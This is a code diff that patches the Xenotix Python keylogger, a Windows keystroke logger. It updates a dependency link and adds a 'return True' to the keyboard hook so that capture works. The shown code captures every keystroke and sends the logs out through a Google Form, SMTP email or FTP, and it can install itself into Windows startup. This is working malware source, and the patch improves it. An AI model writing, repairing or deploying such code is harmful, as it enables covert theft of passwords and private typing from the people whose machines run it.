diff --git a/xenotix_python_logger.py b/xenotix_python_logger.py index ea372e7..d3e8175 100644 --- a/xenotix_python_logger.py +++ b/xenotix_python_logger.py @@ -16,9 +16,10 @@ =================== Python 2.7: http://www.python.org/getit/ pyHook Module: http://sourceforge.net/projects/pyhook/ -pyrhoncom Module: http://sourceforge.net/projects/pywin32/ +pyrhoncom Module: https://github.com/mhammond/pywin32/releases/ +# added link to valid pywin32 releases to address open issue. -pyHook Module - +pyHook Module - Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/ @@ -65,11 +66,11 @@ def msg(): mode: local: store the logs in a file [keylogs.txt] - + remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script. - + email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO). - + ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY). [optional] startup: This will add the keylogger to windows startup.\n\n""" @@ -124,7 +125,7 @@ def run(self): ts = datetime.datetime.now() SERVER = "smtp.gmail.com" #Specify Server Here PORT = 587 #Specify Port Here - USER="your_email@gmail.com"#Specify Username Here + USER="your_email@gmail.com"#Specify Username Here PASS="password_here"#Specify Password Here FROM = USER#From address is taken from username TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed. @@ -188,7 +189,7 @@ def main(): else: if len(sys.argv)>2: if sys.argv[2]=="startup": - addStartup() + addStartup() else: msg() exit(0) @@ -223,13 +224,15 @@ def keypressed(event): keys='' else: keys=chr(event.Ascii) - data=data+keys - if x==1: + data=data+keys + if x==1: local() elif x==2: remote() elif x==4: ftp() + return True # added return True to address open issue + obj = pyHook.HookManager() obj.KeyDown = keypressed